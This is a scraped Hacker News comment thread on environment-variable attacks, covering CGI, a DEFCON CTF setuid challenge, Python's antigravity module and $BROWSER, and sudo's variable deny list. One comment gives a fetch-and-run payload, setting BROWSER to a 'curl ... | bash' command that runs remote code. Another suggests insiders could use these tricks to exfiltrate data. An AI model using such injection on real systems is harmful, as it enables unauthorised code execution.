Live data from Hacker News

Hacking with environment variables

elttam.com

41–50 of 67 posts

Re: Hacking with environment variables

#41
post #37

I understand this kind of techniques were common to attack unsafe CGI web servers in the old time. I wonder whether it is still the case nowadays. Is CGI still being used?

I’m sure some people use it, shell cgi scripts are IMO the easiest way to just build things like counters, you can do it in just one or two lines.

Re: Hacking with environment variables

#42
post #35

This was a huge component of a 2020 DEFCON CTF qualifier challenge that only Samurai and PPP solved, where you had to get code execution or arbitrary file read out of as many setuid binaries as possible, after installing basically every cli Debian package and changing them to setuid. There are some very interesting ways to load shared objects or read files with environment variables, and we even found ways to leverag…

Why would you change "every cli Debian package" to setuid and not expect hundreds of exploits? Solution is not to do something so silly.

Because in the real world, you might have a vulnerability that lets you run one of those packages as root. The competition is to show how many of those you could exploit.

Of course some of them are trivial, you don't get any props for showing arbitrary file reading when you can run bash or perl as root. But exploiting readline that way is pretty interesting!

Re: Hacking with environment variables

#43
post #21

Earlier quoted context omitted.

Which is not on its own a "vulnerability", you'd need to chain it to something usable in the browser / as a consequence of the browser being opened. It increases your options, certainly, but it can't do anything dangerous as-is.

You can define any executable in the $BROWSER environment variable which will be executed whenever antigravity is imported. You could execute a 'curl` which directly pipes into 'bash -c'.

"Any executable" does not mean adding pipes and arguments. This is one important benefit of not using shell.

See https://github.com/python/cpython/blob/master/Lib/webbrowser...

Re: Hacking with environment variables

#44

>An unexpected exception to this is the antigravity module. The Python developers included an easter egg in 2008 which can be triggered by running import antigravity. This import will immediately open your browser to the xkcd comic that joked that import antigravity in Python would grant you the ability to fly. > As for how the antigravity module opens your browser, it uses another module from the standard library ca…

Think about this next time Tesla comes up with some new Jinglebells gimmick. My car is the last place i would like to have easter eggs.

Re: Hacking with environment variables

#45

>An unexpected exception to this is the antigravity module. The Python developers included an easter egg in 2008 which can be triggered by running import antigravity. This import will immediately open your browser to the xkcd comic that joked that import antigravity in Python would grant you the ability to fly. > As for how the antigravity module opens your browser, it uses another module from the standard library ca…

I suspect what made companies exclude easter eggs was a sense that they were too big and "serious" for this sort of whimsical activity. And specifically for Microsoft, a sense that they were now targeting the Enterprise marketTM and were above all this consumer-grade behaviour. Interestingly Google still has easter egg behaviour for several queries, e.g. askew[1], which fits well with their corporate brand.

To be clear, an easter egg is only supposed to be a (pleasant) surprise to the consumer -- not a secret kept from the rest of the team, especially QA. You can and should absolutely test your easter eggs.

Yes, Excel's increasingly elaborate easter eggs[2] would probably find it hard to get past security review these days. But to say that easter eggs are bad because security doesn't make sense. Especially when companies include undocumented features in software all the time -- e.g., typing '=rand()' into newer versions of MS Word produces some random text, probably a lorem ipsum generator-like feature.

[1] https://www.google.com/search?hl=en&source=hp&q=askew&oq=ask...

[2] https://www.youtube.com/watch?v=Xb9AXBowb0E , https://www.youtube.com/watch?v=-gYb5GUs0dM , https://www.youtube.com/watch?v=PGZfuwsvIFQ

Re: Hacking with environment variables

#46
post #8

Earlier quoted context omitted.

If the environment allows executing a browser, it allows executing a browser. Whether python is involved is irrelevant.

> If the environment allows executing a browser From my reading of this, it allows executing any executable you can put in the BROWSER environment

Which you can set it to something like "curl $REMOTE_URL_WHERE_SCRIPT_IS_HOSTED | bash" and run arbitrary code.

Re: Hacking with environment variables

#47
post #10

Warning, website wont load at all unless JavaScript is enabled.

Delete the first element in the body, , which sits on top of the rest and blocks it from view.

This is one of the two standard failure techniques. (I glom and the likes in the same category as this site.) The other category is where the body has no content, and JavaScript injects it. I’m undecided which is worse, but I think that it’s probably this one, because the developer pretty much went out of their way to slow things down in the name of subjective prettiness (and perhaps just because they wrote the rest of the markup/styling/code badly), and thereby broke things. Whereas I can at least understand why you’d do the whole thing in JavaScript, even if it’s not something I’m willing to do.

Re: Hacking with environment variables

#48
post #28

Earlier quoted context omitted.

This is such a good example on why security is hard. I mean, good intentions, should've worked, but a single mistake wasn't discovered among all of the features involved in locking it down as hard as possible. Security is a fight nobody can win, because it's an N-1 relationship of reassuring your own mistakes vs. finding a single mistake as an opportunity.

Isn't this more an example of "fail-open design is bad, use fail-close"? Or in other words "make an allowlist, not a blocklist"? I mean look at those variables, this seems like a loosing battle. PERLLIB, PERL5LIB etc. - what if there's a PERL6LIB at some point or a NEWSCRIPTINGLANGUAGELIB variable?

Actually, there is such a thing as PERL6LIB: it's an environment variable still recognized by Raku (formerly known as Perl 6). As you may know, Perl 6 has been renamed to Raku (https://raku.org using the #rakulang tag on social media). FWIW, there is now also a RAKULIB environment variable :-)

Re: Hacking with environment variables

#49
post #6

See also the sudo bad environment variable list[1], which I recently found a 15 year old typo in.[2] [1]: https://github.com/sudo-project/sudo/blob/master/plugins/sud... [2]: https://www.sudo.ws/repos/sudo/rev/bdf9c9e7f455

This is such a good example on why security is hard. I mean, good intentions, should've worked, but a single mistake wasn't discovered among all of the features involved in locking it down as hard as possible. Security is a fight nobody can win, because it's an N-1 relationship of reassuring your own mistakes vs. finding a single mistake as an opportunity.

The typo almost looks malicious, to be honest.

Re: Hacking with environment variables

#50
post #37

I understand this kind of techniques were common to attack unsafe CGI web servers in the old time. I wonder whether it is still the case nowadays. Is CGI still being used?

The Linux world is not just about servers and online.

For example, a sub-contractor at BigCo., Inc. could use a lot of this knowledge to exfiltrate stuff.

I mean, CGI web servers are still out there - but careful that you don't overlook a wider market for these sploits.

Post reply on HN